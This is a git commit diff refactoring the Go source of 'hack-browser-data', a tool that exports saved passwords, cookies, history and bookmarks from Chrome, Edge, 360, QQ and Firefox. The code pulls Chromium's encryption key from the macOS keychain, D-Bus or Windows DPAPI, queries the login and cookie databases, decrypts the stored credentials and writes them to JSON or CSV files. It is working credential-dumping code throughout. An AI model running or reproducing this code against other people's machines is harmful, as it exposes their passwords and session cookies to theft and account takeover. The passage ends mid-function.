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refactoring code with interface, Close #22

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ᴍᴏᴏɴD4ʀᴋ 4 years ago
parent 436e74f0df
commit b732c13959
9 changed files with 598 additions and 664 deletions
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  1. 49
      cmd/cmd.go
  2. 443
      core/browser.go
  3. 18
      core/browser_darwin.go
  4. 10
      core/browser_linux.go
  5. 18
      core/browser_windows.go
  6. 76
      core/common/output.go
  7. 628
      core/common/parse.go
  8. 4
      log/log.go
  9. 16
      utils/utils.go

49
cmd/cmd.go
Unescape View File

@ -23,13 +23,13 @@ func Execute() {
Name: "hack-browser-data",
Usage: "Export passwords/cookies/history/bookmarks from browser",
UsageText: "[hack-browser-data -b chrome -f json -dir results -e all]\n Get all data(password/cookie/history/bookmark) from chrome",
Version: "0.1.8",
Version: "0.1.9",
Flags: []cli.Flag{
&cli.BoolFlag{Name: "verbose", Aliases: []string{"vv"}, Destination: &verbose, Value: false, Usage: "Verbose"},
&cli.StringFlag{Name: "browser", Aliases: []string{"b"}, Destination: &browser, Value: "all", Usage: "Available browsers: all|" + strings.Join(core.ListBrowser(), "|")},
&cli.StringFlag{Name: "results-dir", Aliases: []string{"dir"}, Destination: &exportDir, Value: "results", Usage: "Export dir"},
&cli.StringFlag{Name: "format", Aliases: []string{"f"}, Destination: &outputFormat, Value: "csv", Usage: "Format, csv|json"},
&cli.StringFlag{Name: "export-data", Aliases: []string{"e"}, Destination: &exportData, Value: "all", Usage: "all|password|cookie|history|bookmark"},
&cli.StringFlag{Name: "export-data", Aliases: []string{"e"}, Destination: &exportData, Value: "all", Usage: "all|" + strings.Join(core.ListItem(), "|")},
},
HideHelpCommand: true,
HideVersion: true,
@ -40,28 +40,57 @@ func Execute() {
log.InitLog("error")
}
// default select all browsers
browsers, err := core.PickBrowsers(browser)
browsers, err := core.PickBrowser(browser)
if err != nil {
log.Error(err)
}
utils.MakeDir(exportDir)
for _, v := range browsers {
err := v.InitSecretKey()
err = utils.MakeDir(exportDir)
if err != nil {
log.Error(err)
}
for _, browser := range browsers {
err := browser.InitSecretKey()
if err != nil {
log.Error(err)
}
err = v.GetProfilePath(exportData)
items, err := browser.GetAllItems(exportData)
if err != nil {
log.Error(err)
}
v.ParseDB()
v.OutPut(exportDir, outputFormat)
name := browser.GetName()
key := browser.GetSecretKey()
for _, item := range items {
err := item.CopyItem()
if err != nil {
log.Error(err)
}
switch browser.(type) {
case *core.Chromium:
err := item.ChromeParse(key)
if err != nil {
log.Error(err)
}
case *core.Firefox:
err := item.FirefoxParse()
if err != nil {
log.Error(err)
}
}
err = item.Release()
if err != nil {
return err
}
err = item.OutPut(outputFormat, name, exportDir)
if err != nil {
log.Error(err)
}
}
}
return nil
},
}
err := app.Run(os.Args)
if err != nil {
panic(err)
log.Error(err)
}
}

443
core/browser.go
Unescape View File

@ -2,11 +2,11 @@ package core
import (
"errors"
"strings"
"hack-browser-data/core/common"
"hack-browser-data/log"
"hack-browser-data/utils"
"path/filepath"
"strings"
)
const (
@ -18,35 +18,10 @@ const (
)
type Browser interface {
GetProfilePath(filename string) (err error)
InitSecretKey() error
ParseDB()
OutPut(dir, format string)
}
type chromium struct {
ProfilePath string
KeyPath string
Name string
SecretKey []byte
FileLists []FileList
Data common.BrowserData
}
type firefox struct {
ProfilePath string
KeyPath string
Name string
FileLists []FileList
Data common.BrowserData
}
type FileList struct {
name string
mainFile string
mainPath string
subFile string
subPath string
GetName() string
GetSecretKey() []byte
GetAllItems(itemName string) ([]common.Item, error)
}
const (
@ -57,327 +32,179 @@ const (
)
var (
errDataNotSupported = errors.New(`not supported, default is "all", choose from history|password|bookmark|cookie`)
errItemNotSupported = errors.New(`item not supported, default is "all", choose from history|password|bookmark|cookie`)
errBrowserNotSupported = errors.New("browser not supported")
errChromeSecretIsEmpty = errors.New("chrome secret is empty")
errDbusSecretIsEmpty = errors.New("dbus secret key is empty")
chromiumParseList = map[string]FileList{
)
var (
chromiumItems = map[string]struct {
mainFile string
newItem func(mainFile, subFile string) common.Item
}{
bookmark: {
mainFile: common.ChromeBookmarkFile,
newItem: common.NewBookmarks,
},
cookie: {
name: cookie,
mainFile: common.ChromeCookies,
mainFile: common.ChromeCookieFile,
newItem: common.NewCookies,
},
history: {
name: history,
mainFile: common.ChromeHistory,
},
bookmark: {
name: bookmark,
mainFile: common.ChromeBookmarks,
mainFile: common.ChromeHistoryFile,
newItem: common.NewHistoryData,
},
password: {
name: password,
mainFile: common.ChromePassword,
mainFile: common.ChromePasswordFile,
newItem: common.NewCPasswords,
},
}
firefoxParseList = map[string]FileList{
firefoxItems = map[string]struct {
mainFile string
subFile string
newItem func(mainFile, subFile string) common.Item
}{
bookmark: {
mainFile: common.FirefoxDataFile,
newItem: common.NewBookmarks,
},
cookie: {
name: cookie,
mainFile: common.FirefoxCookie,
mainFile: common.FirefoxCookieFile,
newItem: common.NewCookies,
},
history: {
name: history,
mainFile: common.FirefoxData,
},
bookmark: {
name: bookmark,
mainFile: common.FirefoxData,
mainFile: common.FirefoxDataFile,
newItem: common.NewHistoryData,
},
password: {
name: password,
mainFile: common.FirefoxKey4DB,
subFile: common.FirefoxLoginData,
mainFile: common.FirefoxKey4File,
subFile: common.FirefoxLoginFile,
newItem: common.NewFPasswords,
},
}
)
func (c *chromium) GetProfilePath(filename string) (err error) {
filename = strings.ToLower(filename)
if filename == "all" {
for _, v := range chromiumParseList {
m, err := filepath.Glob(c.ProfilePath + v.mainFile)
if err != nil {
log.Error(err)
continue
}
if len(m) > 0 {
log.Debugf("%s find %s File Success", c.Name, v.name)
log.Debugf("%s file location is %s", v, m[0])
v.mainPath = m[0]
c.FileLists = append(c.FileLists, v)
} else {
log.Errorf("%+v find %s failed", c.Name, v.name)
}
}
} else if v, ok := chromiumParseList[filename]; ok {
m, err := filepath.Glob(c.ProfilePath + v.mainFile)
if err != nil {
log.Error(err)
}
if len(m) > 0 {
log.Debugf("%s find %s File Success", c.Name, v)
log.Debugf("%s file location is %s", v, m[0])
v.mainPath = m[0]
c.FileLists = append(c.FileLists, v)
}
} else {
return errDataNotSupported
}
return nil
type Chromium struct {
name string
profilePath string
keyPath string
secretKey []byte
}
func (c *chromium) ParseDB() {
for _, v := range c.FileLists {
err := utils.CopyDB(v.mainPath, filepath.Base(v.mainPath))
if err != nil {
log.Error(err)
}
switch v.name {
case bookmark:
if err := chromeParse(c.SecretKey, &c.Data.Bookmarks); err != nil {
log.Error(err)
}
if err := release(v.mainFile, &c.Data.Bookmarks); err != nil {
log.Error(err)
}
case history:
if err := chromeParse(c.SecretKey, &c.Data.History); err != nil {
log.Error(err)
}
if err := release(v.mainFile, &c.Data.History); err != nil {
log.Error(err)
}
case password:
if err := chromeParse(c.SecretKey, &c.Data.Logins); err != nil {
log.Error(err)
}
if err := release(v.mainFile, &c.Data.Logins); err != nil {
log.Error(err)
}
case cookie:
if err := chromeParse(c.SecretKey, &c.Data.Cookies); err != nil {
log.Error(err)
}
if err := release(v.mainFile, &c.Data.Cookies); err != nil {
log.Error(err)
}
}
}
func NewChromium(profile, key, name string) (Browser, error) {
return &Chromium{profilePath: profile, keyPath: key, name: name}, nil
}
func (c *chromium) OutPut(dir, format string) {
c.Data.Sorted()
switch format {
case "json":
for _, v := range c.FileLists {
switch v.name {
case bookmark:
if err := outPutJson(c.Name, dir, &c.Data.Bookmarks); err != nil {
log.Error(err)
}
case history:
if err := outPutJson(c.Name, dir, &c.Data.History); err != nil {
log.Error(err)
}
case password:
if err := outPutJson(c.Name, dir, &c.Data.Logins); err != nil {
log.Error(err)
}
case cookie:
if err := outPutJson(c.Name, dir, &c.Data.Cookies); err != nil {
log.Error(err)
}
}
}
case "csv":
for _, v := range c.FileLists {
switch v.name {
case bookmark:
if err := outPutCsv(c.Name, dir, &c.Data.Bookmarks); err != nil {
log.Error(err)
}
case history:
if err := outPutCsv(c.Name, dir, &c.Data.History); err != nil {
log.Error(err)
}
case password:
if err := outPutCsv(c.Name, dir, &c.Data.Logins); err != nil {
log.Error(err)
}
case cookie:
if err := outPutCsv(c.Name, dir, &c.Data.Cookies); err != nil {
log.Error(err)
}
}
}
}
func (c *Chromium) GetName() string {
return c.name
}
func decryptChromium(profile, key, name string) (Browser, error) {
return &chromium{ProfilePath: profile, KeyPath: key, Name: name}, nil
func (c *Chromium) GetSecretKey() []byte {
return c.secretKey
}
func (f *firefox) ParseDB() {
for _, v := range f.FileLists {
err := utils.CopyDB(v.mainPath, filepath.Base(v.mainPath))
if v.subPath != "" {
err := utils.CopyDB(v.subPath, filepath.Base(v.subPath))
func (c *Chromium) GetAllItems(itemName string) (Items []common.Item, err error) {
itemName = strings.ToLower(itemName)
var items []common.Item
if itemName == "all" {
for item, choice := range chromiumItems {
m, err := utils.GetItemPath(c.profilePath, choice.mainFile)
if err != nil {
log.Error(err)
log.Errorf("%s find %s file failed, ERR:%s", c.name, item, err)
continue
}
i := choice.newItem(m, "")
log.Debugf("%s find %s File Success", c.name, item)
items = append(items, i)
}
} else if item, ok := chromiumItems[itemName]; ok {
m, err := utils.GetItemPath(c.profilePath, item.mainFile)
if err != nil {
log.Error(err)
}
switch v.name {
case password:
if err := firefoxParse(&f.Data.Logins); err != nil {
log.Error(err)
}
if err := release(v.mainFile, &f.Data.Logins); err != nil {
log.Error(err)
}
if err := release(v.subFile, &f.Data.Logins); err != nil {
log.Error(err)
}
case bookmark:
if err := firefoxParse(&f.Data.Bookmarks); err != nil {
log.Error(err)
}
if err := release(v.mainFile, &f.Data.Bookmarks); err != nil {
log.Error(err)
}
case history:
if err := firefoxParse(&f.Data.History); err != nil {
log.Error(err)
}
if err := release(v.mainFile, &f.Data.History); err != nil {
log.Error(err)
}
case cookie:
if err := firefoxParse(&f.Data.Cookies); err != nil {
log.Error(err)
}
if err := release(v.mainFile, &f.Data.Cookies); err != nil {
log.Error(err)
}
log.Errorf("%s find %s file failed, ERR: ", c.name, item, err)
}
i := item.newItem(m, "")
items = append(items, i)
return items, nil
} else {
return nil, errItemNotSupported
}
return items, nil
}
func (f *firefox) GetProfilePath(filename string) (err error) {
filename = strings.ToLower(filename)
if filename == "all" {
for _, v := range firefoxParseList {
m, err := filepath.Glob(f.ProfilePath + v.mainFile)
if v.subFile != "" {
s, err := filepath.Glob(f.ProfilePath + v.subFile)
type Firefox struct {
name string
profilePath string
keyPath string
}
func NewFirefox(profile, key, name string) (Browser, error) {
return &Firefox{profilePath: profile, keyPath: key, name: name}, nil
}
func (f *Firefox) GetAllItems(itemName string) ([]common.Item, error) {
itemName = strings.ToLower(itemName)
var items []common.Item
if itemName == "all" {
for item, choice := range firefoxItems {
var (
sub, main string
err error
)
if choice.subFile != "" {
sub, err = utils.GetItemPath(f.profilePath, choice.subFile)
if err != nil {
log.Error(err)
log.Errorf("%s find %s file failed, ERR:%s", f.name, item, err)
continue
}
if len(s) > 0 {
log.Debugf("%s find %s File Success", f.Name, v.name)
log.Debugf("%s file location is %s", v, s[0])
v.subPath = s[0]
}
}
main, err = utils.GetItemPath(f.profilePath, choice.mainFile)
if err != nil {
log.Error(err)
log.Errorf("%s find %s file failed, ERR:%s", f.name, item, err)
continue
}
if len(m) > 0 {
log.Debugf("%s find %s File Success", f.Name, v.name)
log.Debugf("%s file location is %s", v.mainFile, m[0])
v.mainPath = m[0]
f.FileLists = append(f.FileLists, v)
} else {
log.Errorf("%s find %s failed", f.Name, v.name)
i := choice.newItem(main, sub)
log.Debugf("%s find %s file success", f.name, item)
items = append(items, i)
}
} else if item, ok := firefoxItems[itemName]; ok {
var (
sub, main string
err error
)
if item.subFile != "" {
sub, err = utils.GetItemPath(f.profilePath, item.subFile)
if err != nil {
log.Errorf("%s find %s file failed, ERR:", f.name, item, err)
}
}
} else if v, ok := firefoxParseList[filename]; ok {
m, err := filepath.Glob(f.ProfilePath + v.mainFile)
main, err = utils.GetItemPath(f.profilePath, item.mainFile)
if err != nil {
log.Error(err)
}
if len(m) > 0 {
log.Debugf("%s find %s File Success", f.Name, v)
log.Debugf("%s file location is %s", v, m[0])
v.mainPath = m[0]
f.FileLists = append(f.FileLists, v)
log.Errorf("%s find %s file failed, ERR:%s", f.name, item, err)
}
i := item.newItem(main, sub)
log.Debugf("%s find %s file success", f.name, item.mainFile)
items = append(items, i)
return items, nil
} else {
return errDataNotSupported
return nil, errItemNotSupported
}
return nil
return items, nil
}
func (f *firefox) OutPut(dir, format string) {
f.Data.Sorted()
switch format {
case "json":
for _, v := range f.FileLists {
switch v.name {
case bookmark:
if err := outPutJson(f.Name, dir, &f.Data.Bookmarks); err != nil {
log.Error(err)
}
case history:
if err := outPutJson(f.Name, dir, &f.Data.History); err != nil {
log.Error(err)
}
case password:
if err := outPutJson(f.Name, dir, &f.Data.Logins); err != nil {
log.Error(err)
}
case cookie:
if err := outPutJson(f.Name, dir, &f.Data.Cookies); err != nil {
log.Error(err)
}
}
}
case "csv":
for _, v := range f.FileLists {
switch v.name {
case bookmark:
if err := outPutCsv(f.Name, dir, &f.Data.Bookmarks); err != nil {
log.Error(err)
}
case history:
if err := outPutCsv(f.Name, dir, &f.Data.History); err != nil {
log.Error(err)
}
case password:
if err := outPutCsv(f.Name, dir, &f.Data.Logins); err != nil {
log.Error(err)
}
case cookie:
if err := outPutCsv(f.Name, dir, &f.Data.Cookies); err != nil {
log.Error(err)
}
}
}
}
func (f *Firefox) GetName() string {
return f.name
}
func (f *firefox) InitSecretKey() error {
func (f *Firefox) GetSecretKey() []byte {
return nil
}
func decryptFirefox(profile, key, name string) (Browser, error) {
return &firefox{ProfilePath: profile, KeyPath: key, Name: name}, nil
func (f *Firefox) InitSecretKey() error {
return nil
}
func PickBrowsers(name string) ([]Browser, error) {
func PickBrowser(name string) ([]Browser, error) {
var browsers []Browser
name = strings.ToLower(name)
if name == "all" {
@ -397,26 +224,6 @@ func PickBrowsers(name string) ([]Browser, error) {
return nil, errBrowserNotSupported
}
func chromeParse(key []byte, f common.Formatter) error {
return f.ChromeParse(key)
}
func firefoxParse(f common.Formatter) error {
return f.FirefoxParse()
}
func outPutJson(name, dir string, f common.Formatter) error {
return f.OutPutJson(name, dir)
}
func outPutCsv(name, dir string, f common.Formatter) error {
return f.OutPutCsv(name, dir)
}
func release(filename string, f common.Formatter) error {
return f.Release(filename)
}
func ListBrowser() []string {
var l []string
for k := range browserList {
@ -424,3 +231,11 @@ func ListBrowser() []string {
}
return l
}
func ListItem() []string {
var l []string
for k := range chromiumItems {
l = append(l, k)
}
return l
}

18
core/browser_darwin.go
Unescape View File

@ -4,7 +4,6 @@ import (
"bytes"
"crypto/sha1"
"errors"
"hack-browser-data/log"
"os/exec"
"golang.org/x/crypto/pbkdf2"
@ -26,38 +25,37 @@ var (
"chrome": {
ProfilePath: chromeProfilePath,
Name: chromeName,
New: decryptChromium,
New: NewChromium,
},
"edge": {
ProfilePath: edgeProfilePath,
Name: edgeName,
New: decryptChromium,
New: NewChromium,
},
"firefox": {
ProfilePath: fireFoxProfilePath,
Name: firefoxName,
New: decryptFirefox,
New: NewFirefox,
},
}
)
func (c *chromium) InitSecretKey() error {
func (c *Chromium) InitSecretKey() error {
var (
cmd *exec.Cmd
stdout, stderr bytes.Buffer
)
//➜ security find-generic-password -wa 'Chrome'
cmd = exec.Command("security", "find-generic-password", "-wa", c.Name)
cmd = exec.Command("security", "find-generic-password", "-wa", c.name)
cmd.Stdout = &stdout
cmd.Stderr = &stderr
err := cmd.Run()
if err != nil {
log.Error(err)
return err
}
if stderr.Len() > 0 {
err = errors.New(stderr.String())
log.Error(err)
return err
}
temp := stdout.Bytes()
chromeSecret := temp[:len(temp)-1]
@ -67,6 +65,6 @@ func (c *chromium) InitSecretKey() error {
var chromeSalt = []byte("saltysalt")
// @https://source.chromium.org/chromium/chromium/src/+/master:components/os_crypt/os_crypt_mac.mm;l=157
key := pbkdf2.Key(chromeSecret, chromeSalt, 1003, 16, sha1.New)
c.SecretKey = key
return err
c.secretKey = key
return nil
}

10
core/browser_linux.go
Unescape View File

@ -24,17 +24,17 @@ var (
"firefox": {
ProfilePath: fireFoxProfilePath,
Name: firefoxName,
New: decryptFirefox,
New: NewFirefox,
},
"chrome": {
ProfilePath: chromeProfilePath,
Name: chromeName,
New: decryptChromium,
New: NewChromium,
},
}
)
func (c *chromium) InitSecretKey() error {
func (c *Chromium) InitSecretKey() error {
//what is d-bus @https://dbus.freedesktop.org/
var chromeSecret []byte
conn, err := dbus.SessionBus()
@ -50,9 +50,7 @@ func (c *chromium) InitSecretKey() error {
return err
}
defer func() {
if err = session.Close(); err != nil {
log.Error(err)
}
session.Close()
}()
collections, err := svc.GetAllCollections()
if err != nil {

18
core/browser_windows.go
Unescape View File

@ -34,28 +34,28 @@ var (
ProfilePath: os.Getenv("USERPROFILE") + chromeProfilePath,
KeyPath: os.Getenv("USERPROFILE") + chromeKeyPath,
Name: chromeName,
New: decryptChromium,
New: NewChromium,
},
"edge": {
ProfilePath: os.Getenv("USERPROFILE") + edgeProfilePath,
KeyPath: os.Getenv("USERPROFILE") + edgeKeyPath,
Name: edgeName,
New: decryptChromium,
New: NewChromium,
},
"360": {
ProfilePath: os.Getenv("USERPROFILE") + speed360ProfilePath,
Name: speed360Name,
New: decryptChromium,
New: NewChromium,
},
"qq": {
ProfilePath: os.Getenv("USERPROFILE") + qqBrowserProfilePath,
Name: qqBrowserName,
New: decryptChromium,
New: NewChromium,
},
"firefox": {
ProfilePath: os.Getenv("USERPROFILE") + firefoxProfilePath,
Name: firefoxName,
New: decryptFirefox,
New: NewFirefox,
},
}
)
@ -64,11 +64,11 @@ var (
errBase64DecodeFailed = errors.New("decode base64 failed")
)
func (c *chromium) InitSecretKey() error {
if c.KeyPath == "" {
func (c *Chromium) InitSecretKey() error {
if c.keyPath == "" {
return nil
}
keyFile, err := utils.ReadFile(c.KeyPath)
keyFile, err := utils.ReadFile(c.keyPath)
if err != nil {
return err
}
@ -78,7 +78,7 @@ func (c *chromium) InitSecretKey() error {
if err != nil {
return errBase64DecodeFailed
}
c.SecretKey, err = decrypt.DPApi(pureKey[5:])
c.secretKey, err = decrypt.DPApi(pureKey[5:])
return err
}
return nil

76
core/common/output.go
Unescape View File

@ -3,62 +3,63 @@ package common
import (
"bytes"
"encoding/json"
"errors"
"fmt"
"os"
"sort"
"hack-browser-data/log"
"hack-browser-data/utils"
"github.com/jszwec/csvutil"
)
var (
utf8Bom = []byte{239, 187, 191}
errWriteToFile = errors.New("write to file failed")
utf8Bom = []byte{239, 187, 191}
prefix = "[x]: "
)
func (b *Bookmarks) OutPutJson(browser, dir string) error {
func (b *bookmarks) outPutJson(browser, dir string) error {
filename := utils.FormatFileName(dir, browser, "bookmark", "json")
sort.Slice(b.bookmarks, func(i, j int) bool {
return b.bookmarks[i].ID < b.bookmarks[j].ID
})
err := writeToJson(filename, b.bookmarks)
if err != nil {
log.Error(errWriteToFile)
return err
}
fmt.Printf("%s Get %d bookmarks, filename is %s \n", log.Prefix, len(b.bookmarks), filename)
fmt.Printf("%s Get %d bookmarks, filename is %s \n", prefix, len(b.bookmarks), filename)
return nil
}
func (h *History) OutPutJson(browser, dir string) error {
func (h *historyData) outPutJson(browser, dir string) error {
filename := utils.FormatFileName(dir, browser, "history", "json")
sort.Slice(h.history, func(i, j int) bool {
return h.history[i].VisitCount > h.history[j].VisitCount
})
err := writeToJson(filename, h.history)
if err != nil {
log.Error(errWriteToFile)
return err
}
fmt.Printf("%s Get %d history, filename is %s \n", log.Prefix, len(h.history), filename)
fmt.Printf("%s Get %d history, filename is %s \n", prefix, len(h.history), filename)
return nil
}
func (l *Logins) OutPutJson(browser, dir string) error {
func (p *passwords) outPutJson(browser, dir string) error {
filename := utils.FormatFileName(dir, browser, "password", "json")
err := writeToJson(filename, l.logins)
err := writeToJson(filename, p.logins)
if err != nil {
log.Error(errWriteToFile)
return err
}
fmt.Printf("%s Get %d passwords, filename is %s \n", log.Prefix, len(l.logins), filename)
fmt.Printf("%s Get %d passwords, filename is %s \n", prefix, len(p.logins), filename)
return nil
}
func (c *Cookies) OutPutJson(browser, dir string) error {
func (c *cookies) outPutJson(browser, dir string) error {
filename := utils.FormatFileName(dir, browser, "cookie", "json")
err := writeToJson(filename, c.cookies)
if err != nil {
log.Error(errWriteToFile)
return err
}
fmt.Printf("%s Get %d cookies, filename is %s \n", log.Prefix, len(c.cookies), filename)
fmt.Printf("%s Get %d cookies, filename is %s \n", prefix, len(c.cookies), filename)
return nil
}
@ -67,69 +68,59 @@ func writeToJson(filename string, data interface{}) error {
if err != nil {
return err
}
defer func() {
if err := f.Close(); err != nil {
log.Error(err)
}
}()
defer f.Close()
w := new(bytes.Buffer)
enc := json.NewEncoder(w)
enc.SetEscapeHTML(false)
enc.SetIndent("", "\t")
err = enc.Encode(data)
if err != nil {
log.Debug(err)
return err
}
_, err = f.Write(w.Bytes())
if err != nil {
log.Error(err)
return err
}
return nil
}
func (b *Bookmarks) OutPutCsv(browser, dir string) error {
func (b *bookmarks) outPutCsv(browser, dir string) error {
filename := utils.FormatFileName(dir, browser, "bookmark", "csv")
if err := writeToCsv(filename, b.bookmarks); err != nil {
log.Error(errWriteToFile)
return err
}
fmt.Printf("%s Get %d bookmarks, filename is %s \n", log.Prefix, len(b.bookmarks), filename)
fmt.Printf("%s Get %d bookmarks, filename is %s \n", prefix, len(b.bookmarks), filename)
return nil
}
func (h *History) OutPutCsv(browser, dir string) error {
func (h *historyData) outPutCsv(browser, dir string) error {
filename := utils.FormatFileName(dir, browser, "history", "csv")
if err := writeToCsv(filename, h.history); err != nil {
log.Error(errWriteToFile)
return err
}
fmt.Printf("%s Get %d history, filename is %s \n", log.Prefix, len(h.history), filename)
fmt.Printf("%s Get %d history, filename is %s \n", prefix, len(h.history), filename)
return nil
}
func (l *Logins) OutPutCsv(browser, dir string) error {
func (p *passwords) outPutCsv(browser, dir string) error {
filename := utils.FormatFileName(dir, browser, "password", "csv")
if err := writeToCsv(filename, l.logins); err != nil {
log.Error(errWriteToFile)
if err := writeToCsv(filename, p.logins); err != nil {
return err
}
fmt.Printf("%s Get %d passwords, filename is %s \n", log.Prefix, len(l.logins), filename)
fmt.Printf("%s Get %d passwords, filename is %s \n", prefix, len(p.logins), filename)
return nil
}
func (c *Cookies) OutPutCsv(browser, dir string) error {
func (c *cookies) outPutCsv(browser, dir string) error {
filename := utils.FormatFileName(dir, browser, "cookie", "csv")
var tempSlice []cookies
var tempSlice []cookie
for _, v := range c.cookies {
tempSlice = append(tempSlice, v...)
}
if err := writeToCsv(filename, tempSlice); err != nil {
log.Error(errWriteToFile)
return err
}
fmt.Printf("%s Get %d cookies, filename is %s \n", log.Prefix, len(c.cookies), filename)
fmt.Printf("%s Get %d cookies, filename is %s \n", prefix, len(c.cookies), filename)
return nil
}
@ -137,17 +128,11 @@ func writeToCsv(filename string, data interface{}) error {
var d []byte
f, err := os.OpenFile(filename, os.O_RDWR|os.O_CREATE|os.O_TRUNC|os.O_APPEND, 0644)
if err != nil {
log.Errorf("create file %s fail %s", filename, err)
return err
}
defer func() {
if err := f.Close(); err != nil {
log.Error(err)
}
}()
defer f.Close()
_, err = f.Write(utf8Bom)
if err != nil {
log.Error(err)
return err
}
d, err = csvutil.Marshal(data)
@ -156,7 +141,6 @@ func writeToCsv(filename string, data interface{}) error {
}
_, err = f.Write(d)
if err != nil {
log.Error(err)
return err
}
return nil

628
core/common/parse.go
Unescape View File

@ -6,6 +6,7 @@ import (
"encoding/base64"
"io/ioutil"
"os"
"path/filepath"
"sort"
"time"
@ -17,17 +18,13 @@ import (
"github.com/tidwall/gjson"
)
const (
ChromePassword = "Login Data"
ChromeHistory = "History"
ChromeCookies = "Cookies"
ChromeBookmarks = "Bookmarks"
FirefoxCookie = "cookies.sqlite"
FirefoxKey4DB = "key4.db"
FirefoxLoginData = "logins.json"
FirefoxData = "places.sqlite"
FirefoxKey3DB = "key3.db"
)
type Item interface {
ChromeParse(key []byte) error
FirefoxParse() error
OutPut(format, browser, dir string) error
CopyItem() error
Release() error
}
var (
queryChromiumLogin = `SELECT origin_url, username_value, password_value, date_created FROM logins`
@ -41,75 +38,17 @@ var (
closeJournalMode = `PRAGMA journal_mode=off`
)
type (
BrowserData struct {
Logins
Bookmarks
History
Cookies
}
Logins struct {
logins []loginData
}
Bookmarks struct {
bookmarks []bookmark
}
History struct {
history []history
}
Cookies struct {
cookies map[string][]cookies
}
)
type (
loginData struct {
UserName string
encryptPass []byte
encryptUser []byte
Password string
LoginUrl string
CreateDate time.Time
}
bookmark struct {
ID int64
Name string
Type string
URL string
DateAdded time.Time
}
cookies struct {
Host string
Path string
KeyName string
encryptValue []byte
Value string
IsSecure bool
IsHTTPOnly bool
HasExpire bool
IsPersistent bool
CreateDate time.Time
ExpireDate time.Time
}
history struct {
Title string
Url string
VisitCount int
LastVisitTime time.Time
}
)
type bookmarks struct {
mainPath string
bookmarks []bookmark
}
const (
bookmarkID = "id"
bookmarkAdded = "date_added"
bookmarkUrl = "url"
bookmarkName = "name"
bookmarkType = "type"
bookmarkChildren = "children"
)
func NewBookmarks(main, sub string) Item {
return &bookmarks{mainPath: main}
}
func (b *Bookmarks) ChromeParse(key []byte) error {
bookmarks, err := utils.ReadFile(ChromeBookmarks)
func (b *bookmarks) ChromeParse(key []byte) error {
bookmarks, err := utils.ReadFile(ChromeBookmarkFile)
if err != nil {
log.Error(err)
return err
@ -125,55 +64,7 @@ func (b *Bookmarks) ChromeParse(key []byte) error {
return nil
}
func (l *Logins) ChromeParse(key []byte) error {
loginDB, err := sql.Open("sqlite3", ChromePassword)
if err != nil {
log.Error(err)
return err
}
defer func() {
if err := loginDB.Close(); err != nil {
log.Debug(err)
}
}()
rows, err := loginDB.Query(queryChromiumLogin)
defer func() {
if err := rows.Close(); err != nil {
log.Debug(err)
}
}()
for rows.Next() {
var (
url, username string
pwd, password []byte
create int64
)
err = rows.Scan(&url, &username, &pwd, &create)
login := loginData{
UserName: username,
encryptPass: pwd,
LoginUrl: url,
}
if key == nil {
password, err = decrypt.DPApi(pwd)
} else {
password, err = decrypt.ChromePass(key, pwd)
}
if err != nil {
log.Debugf("%s have empty password %s", login.LoginUrl, err.Error())
}
if create > time.Now().Unix() {
login.CreateDate = utils.TimeEpochFormat(create)
} else {
login.CreateDate = utils.TimeStampFormat(create)
}
login.Password = string(password)
l.logins = append(l.logins, login)
}
return nil
}
func getBookmarkChildren(value gjson.Result, b *Bookmarks) (children gjson.Result) {
func getBookmarkChildren(value gjson.Result, b *bookmarks) (children gjson.Result) {
nodeType := value.Get(bookmarkType)
bm := bookmark{
ID: value.Get(bookmarkID).Int(),
@ -194,48 +85,90 @@ func getBookmarkChildren(value gjson.Result, b *Bookmarks) (children gjson.Resul
return children
}
func (h *History) ChromeParse(key []byte) error {
historyDB, err := sql.Open("sqlite3", ChromeHistory)
func (b *bookmarks) FirefoxParse() error {
var (
err error
keyDB *sql.DB
bookmarkRows *sql.Rows
tempMap map[int64]string
bookmarkUrl string
)
keyDB, err = sql.Open("sqlite3", FirefoxDataFile)
if err != nil {
log.Error(err)
return err
}
defer func() {
if err := historyDB.Close(); err != nil {
if err := keyDB.Close(); err != nil {
log.Error(err)
}
}()
rows, err := historyDB.Query(queryChromiumHistory)
defer func() {
if err := rows.Close(); err != nil {
log.Debug(err)
if err := bookmarkRows.Close(); err != nil {
log.Error(err)
}
}()
for rows.Next() {
_, err = keyDB.Exec(closeJournalMode)
if err != nil {
log.Error(err)
}
bookmarkRows, err = keyDB.Query(queryFirefoxBookMarks)
if err != nil {
log.Error(err)
}
for bookmarkRows.Next() {
var (
url, title string
visitCount int
lastVisitTime int64
id, fk, bType, dateAdded int64
title string
)
err := rows.Scan(&url, &title, &visitCount, &lastVisitTime)
data := history{
Url: url,
Title: title,
VisitCount: visitCount,
LastVisitTime: utils.TimeEpochFormat(lastVisitTime),
}
if err != nil {
log.Error(err)
continue
err = bookmarkRows.Scan(&id, &fk, &bType, &dateAdded, &title)
if url, ok := tempMap[id]; ok {
bookmarkUrl = url
}
h.history = append(h.history, data)
b.bookmarks = append(b.bookmarks, bookmark{
ID: id,
Name: title,
Type: utils.BookMarkType(bType),
URL: bookmarkUrl,
DateAdded: utils.TimeStampFormat(dateAdded / 1000000),
})
}
return nil
}
func (c *Cookies) ChromeParse(secretKey []byte) error {
c.cookies = make(map[string][]cookies)
cookieDB, err := sql.Open("sqlite3", ChromeCookies)
func (b *bookmarks) CopyItem() error {
return utils.CopyDB(b.mainPath, filepath.Base(b.mainPath))
}
func (b *bookmarks) Release() error {
return os.Remove(filepath.Base(b.mainPath))
}
func (b *bookmarks) OutPut(format, browser, dir string) error {
sort.Slice(b.bookmarks, func(i, j int) bool {
return b.bookmarks[i].ID < b.bookmarks[j].ID
})
switch format {
case "json":
err := b.outPutJson(browser, dir)
return err
case "csv":
err := b.outPutCsv(browser, dir)
return err
}
return nil
}
type cookies struct {
mainPath string
cookies map[string][]cookie
}
func NewCookies(main, sub string) Item {
return &cookies{mainPath: main}
}
func (c *cookies) ChromeParse(secretKey []byte) error {
c.cookies = make(map[string][]cookie)
cookieDB, err := sql.Open("sqlite3", ChromeCookieFile)
if err != nil {
log.Debug(err)
return err
@ -259,7 +192,7 @@ func (c *Cookies) ChromeParse(secretKey []byte) error {
value, encryptValue []byte
)
err = rows.Scan(&key, &encryptValue, &host, &path, &createDate, &expireDate, &isSecure, &isHTTPOnly, &hasExpire, &isPersistent)
cookie := cookies{
cookie := cookie{
KeyName: key,
Host: host,
Path: path,
@ -284,7 +217,118 @@ func (c *Cookies) ChromeParse(secretKey []byte) error {
return nil
}
func (h *History) FirefoxParse() error {
func (c *cookies) FirefoxParse() error {
c.cookies = make(map[string][]cookie)
cookieDB, err := sql.Open("sqlite3", FirefoxCookieFile)
if err != nil {
log.Debug(err)
